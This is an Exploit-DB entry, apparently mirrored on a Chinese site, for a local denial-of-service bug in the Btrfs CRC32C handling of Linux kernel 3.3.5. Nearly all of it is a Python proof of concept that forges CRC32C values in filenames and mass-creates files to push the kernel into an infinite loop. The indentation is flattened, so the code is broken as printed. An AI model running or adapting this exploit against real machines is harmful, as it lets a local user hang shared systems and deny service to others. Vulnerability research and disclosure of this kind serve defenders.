Linux Kernel 3.3.5 – Btrfs CRC32C feature Infinite Loop Local Denial of Service

• Exploit Database
• 92 阅读

• 作者： Pascal Junod
  日期： 2012-12-13
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/38132/

• source: https://www.securityfocus.com/bid/56939/info
  
  The Linux kernel is prone to a local denial-of-service vulnerability.
  
  Attackers can exploit this issue to cause an infinite loop, resulting in a denial-of-service condition. 
  
  #!/usr/bin/env python
  
  ## Borrows code from
  """Calculate and manipulate CRC32.
  http://en.wikipedia.org/wiki/Cyclic_redundancy_check
  -- StalkR
  """
  ## See https://github.com/StalkR/misc/blob/master/crypto/crc32.py
  
  import struct
  import sys
  import os
  
  # Polynoms in reversed notation
  POLYNOMS = {
  'CRC-32-IEEE': 0xedb88320, # 802.3
  'CRC-32C': 0x82F63B78, # Castagnoli
  'CRC-32K': 0xEB31D82E, # Koopman
  'CRC-32Q': 0xD5828281,
  }
  
  class CRC32(object):
  """A class to calculate and manipulate CRC32.
  Use one instance per type of polynom you want to use.
  Use calc() to calculate a crc32.
  Use forge() to forge crc32 by adding 4 bytes anywhere.
  """
  def __init__(self, type="CRC-32C"):
  if type not in POLYNOMS:
  raise Error("Unknown polynom. %s" % type)
  self.polynom = POLYNOMS[type]
  self.table, self.reverse = [0]*256, [0]*256
  self._build_tables()
  
  def _build_tables(self):
  for i in range(256):
  fwd = i
  rev = i << 24
  for j in range(8, 0, -1):
  # build normal table
  if (fwd & 1) == 1:
  fwd = (fwd >> 1) ^ self.polynom
  else:
  fwd >>= 1
  self.table[i] = fwd & 0xffffffff
  # build reverse table =)
  if rev & 0x80000000 == 0x80000000:
  rev = ((rev ^ self.polynom) << 1) | 1
  else:
  rev <<= 1
  rev &= 0xffffffff
  self.reverse[i] = rev
  
  def calc(self, s):
  """Calculate crc32 of a string.
   Same crc32 as in (binascii.crc32)&0xffffffff.
  """
  crc = 0xffffffff
  for c in s:
  crc = (crc >> 8) ^ self.table[(crc ^ ord(c)) & 0xff]
  return crc^0xffffffff
  
  def forge(self, wanted_crc, s, pos=None):
  """Forge crc32 of a string by adding 4 bytes at position pos."""
  if pos is None:
  pos = len(s)
  
  # forward calculation of CRC up to pos, sets current forward CRC state
  fwd_crc = 0xffffffff
  for c in s[:pos]:
  fwd_crc = (fwd_crc >> 8) ^ self.table[(fwd_crc ^ ord(c)) & 0xff]
  
  # backward calculation of CRC up to pos, sets wanted backward CRC state
  bkd_crc = wanted_crc^0xffffffff
  for c in s[pos:][::-1]:
  bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)
  
  # deduce the 4 bytes we need to insert
  for c in struct.pack('<L',fwd_crc)[::-1]:
  bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)
  
  res = s[:pos] + struct.pack('<L', bkd_crc) + s[pos:]
  return res
  
  if __name__=='__main__':
  
  hack = False
  ITERATIONS = 10
  crc = CRC32()
  wanted_crc = 0x00000000
  for i in range (ITERATIONS):
  for j in range(55):
  str = os.urandom (16).encode ("hex").strip ("\x00")
  if hack:
  f = crc.forge(wanted_crc, str, 4)
  if ("/" not in f) and ("\x00" not in f):
  file (f, 'a').close()
  else:
  file (str, 'a').close ()
  
  wanted_crc += 1
  

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